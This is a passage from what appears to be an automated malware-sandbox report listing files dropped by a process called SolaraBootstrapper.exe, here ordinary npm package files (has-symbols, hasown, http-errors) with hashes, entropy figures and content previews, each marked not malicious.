Preview:	# has-symbols <sup>[![Version Badge][2]][1]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![dependency status][5]][6].[![dev dependency status][7]][8].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][11]][1]..Determine if the JS environment has Symbol support. Supports spec, or shams...## Example..```js.var hasSymbols = require('has-symbols');..hasSymbols() === true; // if the environment has native Symbol support. Not polyfillable, not forgeable...var hasSymbolsKinda = require('has-symbols/shams');.hasSymbolsKinda() === true; // if the environment has a Symbol sham that mostly follows the spec..```..## Supported Symbol shams. - get-own-property-symbols [npm](https://www.npmjs.com/package/get-own-property-symbols) \| [github](https://github.com/WebReflection/get-own-property-symbols). - core-js [npm](https://www.npmjs.com/package/core-js) \| [github](https://github.com/zloirock/core-

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.800891424933416
Encrypted:	false
SSDEEP:	12:as0I1hrB8JFQOoZa6OZZa6O5u0O2qeFW2RhDw:as/1NB8LIZTSZTx0rW2Rm
MD5:	1282693C4D8FA15C683C5F633C9108BC
SHA1:	645932A3805F7C0E5715AFDF3018E503F142DC92
SHA-256:	2874F6CF003018E7B47626144B9F7CB2264A8519C71AAAB88562815B2416D3D2
SHA-512:	A9183DD879F013CA4F59EF487FB0873E99DB1E80124F40283861CC44F41E99B6AE33463FFE186286FC1F327EB75B72FD7DB4D3FD21A53210AAE25FE4781EA57C
Malicious:	false
Preview:	'use strict';..var origSymbol = typeof Symbol !== 'undefined' && Symbol;.var hasSymbolSham = require('./shams');..module.exports = function hasNativeSymbols() {..if (typeof origSymbol !== 'function') { return false; }..if (typeof Symbol !== 'function') { return false; }..if (typeof origSymbol('foo') !== 'symbol') { return false; }..if (typeof Symbol('bar') !== 'symbol') { return false; }...return hasSymbolSham();.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2648
Entropy (8bit):	5.050751970640803
Encrypted:	false
SSDEEP:	48:Hs9Rp147agO60lGhoRYsEg46P6VNsmN/tDX6q+dqImfSog:KRAg6fhT3iAv/xX6q+d2f4
MD5:	854E83356C304640E79EDEA88870CB14
SHA1:	6D44529B5ED6731668441E5E5F8407263DAB7679
SHA-256:	2DE994869BDA3598116944312CFE5E2383F9CEA9DF05D12B499D704CBE20EC2D
SHA-512:	65AE09EB6BC67A756B4F89BE4636741B9CB555EC7C793F29FE7323FD98EA5B5862F14A5120F286D123DC2C5AF5CF4D8B66C1FA8BCBD11903DAA3D790DD20F0FA
Malicious:	false
Preview:	{.."name": "has-symbols",.."version": "1.0.3",.."description": "Determine if the JS environment has Symbol support. Supports spec, or shams.",.."main": "index.js",.."scripts": {..."prepublishOnly": "safe-publish-latest",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."pretest": "npm run --silent lint",..."test": "npm run tests-only",..."posttest": "aud --production",..."tests-only": "npm run test:stock && npm run test:staging && npm run test:shams",..."test:stock": "nyc node test",..."test:staging": "nyc node --harmony --es-staging test",..."test:shams": "npm run --silent test:shams:getownpropertysymbols && npm run --silent test:shams:corejs",..."test:shams:corejs": "nyc node test/shams/core-js.js",..."test:shams:getownpropertysymbols": "nyc node test/shams/get-own-property-symbols.js",..."lint": "eslint --ext=js,mjs .",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git t

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\shams.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	5.070537386095776
Encrypted:	false
SSDEEP:	48:5F5ZFAZFEBCaAjNXXGbhmjyGbvwZk9cs3iiCcHWK6jB9b:5SrSIMnb
MD5:	D84AA1A07B111DCBE4C4A887E147ED14
SHA1:	2C276EB6E3FCD4EE774E949FD4F9C33ABDE7D6C8
SHA-256:	5BA1A47350DCE55BE2C198C791DF52FA013BAC2AD8D7DCD7D67726C08A4231F1
SHA-512:	172F8E3BFE0BEBDF2BDFB684C8A74B28DA810733F720E0CEA963B99D22E62A7DE85759620ADA2B4282F7946F8744F3388492A0EA95A6254E28241B97C40F9324
Malicious:	false
Preview:	'use strict';../* eslint complexity: [2, 18], max-statements: [2, 33] */.module.exports = function hasSymbols() {..if (typeof Symbol !== 'function' \|\| typeof Object.getOwnPropertySymbols !== 'function') { return false; }..if (typeof Symbol.iterator === 'symbol') { return true; }...var obj = {};..var sym = Symbol('test');..var symObj = Object(sym);..if (typeof sym === 'string') { return false; }...if (Object.prototype.toString.call(sym) !== '[object Symbol]') { return false; }..if (Object.prototype.toString.call(symObj) !== '[object Symbol]') { return false; }...// temp disabled per https://github.com/ljharb/object.assign/issues/17..// if (sym instanceof Symbol) { return false; }..// temp disabled per https://github.com/WebReflection/get-own-property-symbols/issues/4..// if (!(symObj instanceof Symbol)) { return false; }...// if (typeof Symbol.prototype.toString !== 'function') { return false; }..// if (String(sym) !== Symbol.prototype.toString.call(sym)) { return false; }...var symVal

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\test\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	4.910385945833464
Encrypted:	false
SSDEEP:	12:jSXFky7xfBX/JBJJigrQzJFm6NrQQQJFmVQESQ0Jw3U0S:jEFky1fBX/JB9czLm6NcQQLmVQESQ0JJ
MD5:	41C0F79988143019F41A2C66AEDFF688
SHA1:	C388D5615B642D2CFFCAE765A5E920A1389DB994
SHA-256:	B2EDDC5A76E6A43738847679126EF698EC8AD36993045207CC1323D1F89710D6
SHA-512:	CD8AAE97D0EC0141BD522573190D7BE71E4960C3315BA5C86FDDD863B87412ACA81DB940A5786DC1D2C5A0940A3FCCA7B37EE5134FBC730F9C6849ACB73215C4
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var hasSymbols = require('../');.var runSymbolTests = require('./tests');..test('interface', function (t) {..t.equal(typeof hasSymbols, 'function', 'is a function');..t.equal(typeof hasSymbols(), 'boolean', 'returns a boolean');..t.end();.});..test('Symbols are supported', { skip: !hasSymbols() }, function (t) {..runSymbolTests(t);..t.end();.});..test('Symbols are not supported', { skip: hasSymbols() }, function (t) {..t.equal(typeof Symbol, 'undefined', 'global Symbol is undefined');..t.equal(typeof Object.getOwnPropertySymbols, 'undefined', 'Object.getOwnPropertySymbols does not exist');..t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\test\shams\core-js.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	723
Entropy (8bit):	4.930198577306373
Encrypted:	false
SSDEEP:	12:jS4eajo9TQv4MkIAZX1FkEQ4LQdJJywRNK090EcXbM+NfJMJQdN/RKHibw:jyaE2v4MBmlFkYLQdlD3aEcY+NfSJQd+
MD5:	DA9C99E70981FFF0BCCEE95D33C7D9A3
SHA1:	B0EDC06CAE4A48128C28B6E567FB730D3E598A40
SHA-256:	79BE6713DD12A209CC17CB866AED4753CA863451247C9262BA69E612D2201CC3
SHA-512:	9EB3C1DE2BB029089A3B522D3A2D144D93D1958E7F11ECE2EACEF1FC3F6166EFFA1841280142355094E67D3E7EB66FEEDEF21B522E13469D37479A92F7F9E675
Malicious:	false
Preview:	'use strict';..var test = require('tape');..if (typeof Symbol === 'function' && typeof Symbol() === 'symbol') {..test('has native Symbol support', function (t) {...t.equal(typeof Symbol, 'function');...t.equal(typeof Symbol(), 'symbol');...t.end();..});..return;.}..var hasSymbols = require('../../shams');..test('polyfilled Symbols', function (t) {../* eslint-disable global-require /..t.equal(hasSymbols(), false, 'hasSymbols is false before polyfilling');..require('core-js/fn/symbol');..require('core-js/fn/symbol/to-string-tag');...require('../tests')(t);...var hasSymbolsAfter = hasSymbols();..t.equal(hasSymbolsAfter, true, 'hasSymbols is true after polyfilling');../ eslint-enable global-require */..t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\test\shams\get-own-property-symbols.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	686
Entropy (8bit):	4.913225881075272
Encrypted:	false
SSDEEP:	12:jS4eajo9TQv4MkIAZX1FkEQ4LQdJJywRNsdbM+NfJMJQdN/RKHibw:jyaE2v4MBmlFkYLQdlDs++NfSJQdN/4d
MD5:	35AF75F8D40D693FDC9FBAEEFCE31312
SHA1:	2342D6E47A7220B342249BC039FC9CCD27A1BA9B
SHA-256:	F3B1BCD3C20ABDBD06C21E271BE5870994346F24290B94723B19030A88CDE2B8
SHA-512:	5E6AD1D147651DF35D0C9147BC868DBFF5CB3ADDB387C8EF0E18B6181FEB3CAC448147E85C644FB39D1D0B1AB950D09067C4E8A306F9D70F2A380851E3895BB4
Malicious:	false
Preview:	'use strict';..var test = require('tape');..if (typeof Symbol === 'function' && typeof Symbol() === 'symbol') {..test('has native Symbol support', function (t) {...t.equal(typeof Symbol, 'function');...t.equal(typeof Symbol(), 'symbol');...t.end();..});..return;.}..var hasSymbols = require('../../shams');..test('polyfilled Symbols', function (t) {../* eslint-disable global-require /..t.equal(hasSymbols(), false, 'hasSymbols is false before polyfilling');...require('get-own-property-symbols');...require('../tests')(t);...var hasSymbolsAfter = hasSymbols();..t.equal(hasSymbolsAfter, true, 'hasSymbols is true after polyfilling');../ eslint-enable global-require */..t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-symbols\test\tests.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2021
Entropy (8bit):	5.021059245522034
Encrypted:	false
SSDEEP:	48:syTZJzHQY0GKLnI9nMxd6efY1e6neg7keHynrnQR:syrHQHGKLnI9Mxd6SY1lnj7kMynrnQR
MD5:	64A006D1CD5458A0E778A44381FE88D4
SHA1:	783E153627BAAB3A43CEEFB4B27A3EAACCF7D5E0
SHA-256:	26968E37F30A1B96F8480D11E06954D467F330FC690124A333E3B2D24934C5C7
SHA-512:	CE3C28B07D51CD3AE38DD9A02C31A53576AF8B5BE237002D662DFCCF85A3D93A2B0C1F5701700C6AEB87D7D6311EC17F680EC4AFE48EBEB282591B35C76AAD0C
Malicious:	false
Preview:	'use strict';..// eslint-disable-next-line consistent-return.module.exports = function runSymbolTests(t) {..t.equal(typeof Symbol, 'function', 'global Symbol is a function');...if (typeof Symbol !== 'function') { return false; }...t.notEqual(Symbol(), Symbol(), 'two symbols are not equal');.../..t.equal(...Symbol.prototype.toString.call(Symbol('foo')),...Symbol.prototype.toString.call(Symbol('foo')),...'two symbols with the same description stringify the same'..);../.../..var foo = Symbol('foo');...t.notEqual(...String(foo),...String(Symbol('bar')),...'two symbols with different descriptions do not stringify the same'..);../...t.equal(typeof Symbol.prototype.toString, 'function', 'Symbol#toString is a function');..// t.equal(String(foo), Symbol.prototype.toString.call(foo), 'Symbol#toString equals String of the same symbol');...t.equal(typeof Object.getOwnPropertySymbols, 'function', 'Object.getOwnPropertySymbols is a function');...var obj = {};..var sym = Symbol('test');..var symO

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.231286196905489
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hg:ExL0UA
MD5:	C28B0FE9BE6E306CC2AD30FE00E3DB10
SHA1:	AF79C81BD61C9A937FCA18425DD84CDF8317C8B9
SHA-256:	0694050195FC694C5846B0A2A66B437AC775DA988F0A779C55FB892597F7F641
SHA-512:	E3ECA17804522FFA4F41E836E76E397A310A20E8261A38115B67E8B644444153039D04198FB470F45BE2997D2C7A72B15BD4771A02C741B3CBC072EA6EF432E9
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	552
Entropy (8bit):	4.6003535897442385
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMGEplgM01bZBgMoGbQjgMy9gMLzgMT:qoQWAg0g+H0mgYplg7g1GegJ9gEzgs
MD5:	FE4BF98C13D8175522E2720C9ECE34D3
SHA1:	E200DD96795DF9E612D66F98CB1BC9D845EA344F
SHA-256:	4A8AADC5BB4E3FCB59CED104864F1440A8A0B82C57D7A69EF3845223590039CC
SHA-512:	454E4459FE6121CB6A92A98D090614797B726E89A364BDFFAB5572FF619A31A7BFE2341E6CCF95E203F93E9A1C6345C9962D800646C8E248389958E0E2A98D6E
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/hasown.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with a single custom sponsorship URL.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\.nycrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.771900676344982
Encrypted:	false
SSDEEP:	6:Kw9OfyFdRaB9yq2TpR6S8U7XfUGUiMIOJHhBK:5O6FTaB9WTpR65U7cAMjJHe
MD5:	C2AB942102236F987048D0D84D73D960
SHA1:	95462172699187AC02EAEC6074024B26E6D71CFF
SHA-256:	948366FEA3B423A46366326D0BB2E54B08ABD1CF0B243678BA6625740C40DA5A
SHA-512:	E36B20C16CEEB090750F3865EFC8D7FD983AE4E8B41C30CC3865D2FD4925BF5902627E1F1ED46C0FF2453F076EF9DE34BE899EF57754B29CD158440071318479
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."lines": 86,.."statements": 85.93,.."functions": 82.43,.."branches": 76.06,.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2579
Entropy (8bit):	5.324426385991123
Encrypted:	false
SSDEEP:	48:E5yEpNRtEn2h5YBR6DlPHIb7Gd+kXoNaNWVtGy1Q:E5yEvb7pDlv+7A+kXlUtNQ
MD5:	BDCF700BEA58C1524DC1A503391A47C6
SHA1:	34338CEA11A019FFD5F86739ADF9CC275B310775
SHA-256:	9E4F7FD1854E2DCE08E3587AC7B8B40C191987D6C4FD71E20139D39E80E3E430
SHA-512:	AA4A275D9D136B3478EC644524E7514A17B545017376F5ADA9E93BC46C8D8094B11A32D510D5D2A28B12180E11B2755F60AB0D0756C997F4A01208BFCC75BD05
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v2.0.2](https://github.com/inspect-js/hasOwn/compare/v2.0.1...v2.0.2) - 2024-03-10..### Commits..- [types] use shared config [`68e9d4d`](https://github.com/inspect-js/hasOwn/commit/68e9d4dab6facb4f05f02c6baea94a3f2a4e44b2).- [actions] remove redundant finisher; use reusable workflow [`241a68e`](https://github.com/inspect-js/hasOwn/commit/241a68e13ea1fe52bec5ba7f74144befc31fae7b).- [Tests] increase coverage [`4125c0d`](https://github.com/inspect-js/hasOwn/commit/4125c0d6121db56ae30e38346dfb0c000b04f0a7).- [Tests] skip `npm ls` in old node due to TS [`01b9282`](https://github.com/inspect-js/hasOwn/commit/01b92822f9971dea031eafdd14767df41d61c202).- [types] improve predicate type [`d340f85`](https://github.com/inspect-js/hasOwn/commit/d34

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1083
Entropy (8bit):	5.078342100284353
Encrypted:	false
SSDEEP:	24:vlrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:9aJHlxE3dQHOs5exm3ogFh
MD5:	19283EE92F78C91154834571C1F05A94
SHA1:	ACBFF97B52A807A3661247328DC45DF636D7B8F7
SHA-256:	BF9B0D665BE2A689851EEA667CA9F42066EA1D903B38349C51E6A44B2577680A
SHA-512:	22369CC02AF1D2A345A70A415DE9E690F3F14AD6567F216924BF05DCF01DBBDE7C6B3A08CF87D5EDF1CA3B5A793D504E532F3A7C828964E97024334135B57369
Malicious:	false
Preview:	MIT License..Copyright (c) Jordan Harband and contributors..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT O

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	5.067385981569244
Encrypted:	false
SSDEEP:	24:jdn1eI4IjAoqSmPgM1G9S33k74bbJC1r/YAIio/s2ld9ceIJ1heIdsIjvPyv:11eI4I7qLPOZGsVY9IL0IOIWv
MD5:	FEE8DA12ADD9E228E0E81304B4E93FFD
SHA1:	341069A2CCAB6194188C560CC01648E9B550BB69
SHA-256:	A922AB2A0ABCDCBD99C1484C7BD83D69A04B5E11AB53064D2C9AA557DF1C52B4
SHA-512:	05351A85DB9148DCF600385BDA6FEAA1EEEEFF27E9EAF4175914B4C4CCDD1BF23EB9E3DD42E751EE6479127E55EA59A599BF674D3DF0167F1CC8797681EB7842
Malicious:	false
Preview:	# hasown <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..A robust, ES3 compatible, "has own property" predicate...## Example..```js.const assert = require('assert');.const hasOwn = require('hasown');..assert.equal(hasOwn({}, 'toString'), false);.assert.equal(hasOwn([], 'length'), true);.assert.equal(hasOwn({ a: 42 }, 'a'), true);.```..## Tests.Simply clone the repo, `npm install`, and run `npm test`..[package-url]: https://npmjs.org/package/hasown.[npm-version-svg]: https://versionbadg.es/inspect-js/hasown.svg.[deps-svg]: https://david-dm.org/inspect-js/hasOwn.svg.[deps-url]: https://david-dm.org/inspect-js/hasOwn.[dev-deps-svg]: https://david-dm.org/inspect-js/hasOwn/dev-status.svg.[dev-deps-url]: https://david-dm.org/inspect-js/hasOwn#info=devDependenc

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\index.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	117
Entropy (8bit):	4.674932235191531
Encrypted:	false
SSDEEP:	3:nPXTLQxdRALbMa5bWySDqTAd/uJfVKBi0Wq4w:bvLAa5nGq1VQiyj
MD5:	D479F40517E58A21B3E6BE1D00315536
SHA1:	4A613A88E7DE9852BCCD927113424452BAFA9F69
SHA-256:	19BCD679CC9CB312683BF10390A1AADB929AF6439B33EB60F06119EE2D702761
SHA-512:	82DFB875AF75B81793214D56A3FB5DE844B792A7FCCDDCBD1AFF424062E6DE03075974110A86EB7EC66EC4CDB8C4DD87123847CD8381F69A0C117AC6F5B7E25F
Malicious:	false
Preview:	declare function hasOwn<O, K extends PropertyKey, V = unknown>(o: O, p: K): o is O & Record<K, V>;..export = hasOwn;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	206
Entropy (8bit):	4.963435694280913
Encrypted:	false
SSDEEP:	6:QibKXKHqL37T5KHqLWt8Zs3VZqdq0f3rVWKfzB0LTtTpFFj:3KXV3fIQvszapf3vfzBSTxj
MD5:	58E3B71AE6D84D4371DD90900B2B7F01
SHA1:	668857F7A7F36A0F7B80C8B6992B543819CE3A82
SHA-256:	8F875520F41A3D711566013882AF290C840969316CC72CD6B35F7E81D7DFC6D2
SHA-512:	EB7604A0E466510225596E59B1E208AD02117EBFD5EB5A933462E3A65365CA255E43EB803C405F266A3C56938C3D25F2E86A393DB3115BFB626E3DD93E1EB150
Malicious:	false
Preview:	'use strict';..var call = Function.prototype.call;.var $hasOwn = Object.prototype.hasOwnProperty;.var bind = require('function-bind');../** @type {import('.')} */.module.exports = bind.call(call, $hasOwn);.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2283
Entropy (8bit):	5.113052557902681
Encrypted:	false
SSDEEP:	48:TukRYCgxUPagS4j0f+yRYsEg4ZYx2Tw234sz4PvC4dmeSowVH:YCgq4s3ZYx2Tw23424Oe6H
MD5:	E1B6E64CEA1F71881FABB0759BAC0D43
SHA1:	2AAB9E964E19EDF340C8E8978D9BD7EACD6BFC4E
SHA-256:	E96D24E4DCEC86A4F769F41174B1CC79F70B4AB77B83AAC4DFE646242BF76ABB
SHA-512:	AE04DB7B3F1A5DD292F2B064B5D5E8265ED2C9D82FBB1FCE88393D983D5C2BA6743F7FA087E7DDFD1A8F14C8D518CB64A93193D5EDC4A1C15475834A3C1DC630
Malicious:	false
Preview:	{.."name": "hasown",.."version": "2.0.2",.."description": "A robust, ES3 compatible, \"has own property\" predicate.",.."main": "index.js",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."types": "index.d.ts",.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."prelint": "evalmd README.md",..."lint": "eslint --ext=js,mjs .",..."postlint": "npm run tsc",..."pretest": "npm run lint",..."tsc": "tsc -p .",..."posttsc": "attw -P",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\hasown\tsconfig.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.41518243529598
Encrypted:	false
SSDEEP:	3:3Tx+HNNMgv/YGeifEeKTzHJdhvn:DUDMgv/YGeiMeIrJd5n
MD5:	5847303E067654A0B80F57E167D826B6
SHA1:	C50B6B712C9B6393C8B7E0DF8D669B0DE384A6F8
SHA-256:	29EF530207266F2859676C048073E7F746DB37A0A20E2A75BC2EF2B3893FBF40
SHA-512:	78FFB68B7EEC279C103F4FB7268AAEAB6BAF2F5D7F04A4C86C04DA09541BDB2704FEECC7E31CEAE574091A72DB4EA085052879C0DB2881C25723DC323DF4F4CA
Malicious:	false
Preview:	{. "extends": "@ljharb/tsconfig",. "exclude": [. "coverage",. ],.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\http-errors\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3973
Entropy (8bit):	4.805304860089398
Encrypted:	false
SSDEEP:	48:HkFw1efvGtc/KUgNbYpX/tz7cRWJfYRgoTDRZktIduWmQdgelPsWJRoQRoN0Gbwl:ETHCFCz7GdgHyuSgelPBoCoPrj4Q6J
MD5:	4D62E58CC4E54263B774E9FEBB8695C9
SHA1:	207589588EDC19ECC77ACDBCA005C7F4DBB5A44E
SHA-256:	990FF24AB4CD1EBF895F185934FC5E15C093AAD29DB8E1F0DB6CB678422EDAEB
SHA-512:	877493F1FF2984298922777D33A16DA77ADD93064EE78F61925205EC4ADD5CDFACA26297C8158C9A704E70AA01D468BD9E001D5E0075FA18D1A60C3527EED4B0
Malicious:	false
Preview:	2.0.0 / 2021-12-17.==================.. * Drop support for Node.js 0.6. * Remove `I'mateapot` export; use `ImATeapot` instead. * Remove support for status being non-first argument. * Rename `UnorderedCollection` constructor to `TooEarly`. * deps: depd@2.0.0. - Replace internal `eval` usage with `Function` constructor. - Use instance methods on `process` to check for listeners. * deps: statuses@2.0.1. - Fix messaging casing of `418 I'm a Teapot`. - Remove code 306. - Rename `425 Unordered Collection` to standard `425 Too Early`..2021-11-14 / 1.8.1.==================.. * deps: toidentifier@1.0.1..2020-06-29 / 1.8.0.==================.. * Add `isHttpError` export to determine if value is an HTTP error. * deps: setprototypeof@1.2.0..2019-06-24 / 1.7.3.==================.. * deps: inherits@2.0.4..2019-02-18 / 1.7.2.==================.. * deps: setprototypeof@1.1.1..2018-09-08 / 1.7.1.==================.. * Fix error creating objects in some environments..2018-07-3

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\http-errors\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1168
Entropy (8bit):	5.154750329213657
Encrypted:	false
SSDEEP:	24:8FMp9rmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:8FMp9aJHlxE35QHOs5exm3ogF5n
MD5:	607209623ABFCC77B9098F71A0EF52F9
SHA1:	20AD45BD29ECB3CC6F38A08A27EB09C7B74A1F6D
SHA-256:	DCB94FF9B1E037A847BC20589DC81A1066D041FD4C16DEB18B0FA968C66CF395
SHA-512:	225048FDE7057C55AC4DFB5DAF8A5C42890A2580443993A1656DB80720311B83501242164654146D71D028F3BBA8AB2716296FD7A6DEC1FC49F1B371A8D613E5
Malicious:	false
Preview:	.The MIT License (MIT)..Copyright (c) 2014 Jonathan Ong me@jongleberry.com.Copyright (c) 2016 Douglas Christopher Wilson doug@somethingdoug.com..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHE

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\http-errors\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	5962
Entropy (8bit):	4.7551430930121255
Encrypted:	false
SSDEEP:	96:aHo15NuNhRYr1ZNx9UHuDBUM+3cUZzm128SH4mVoP1IINtyXSt9JeHW2z:aHY7r1l9UHuDBUM+3ckm1pPIiUidfo
MD5:	F111CD1BB6B0E560A936C4B00A9C3CE4
SHA1:	35F8D40FB24E822B5CFBC829E5A3FA0E5F90AE3C
SHA-256:	EC2D7A200D4ADF39EBFA7E29F1FB1F45DFB34EC8FE040428F83AA5DAD8948C57
SHA-512:	27493DD888F009F52E6E926D4D9B80F162F50C11534D771F0966D9C9C875FC5738540ADF24DBC0A3E81C7FC248BCC88F10815CBD7308E85360C6B1273CE5EC34
Malicious:	false
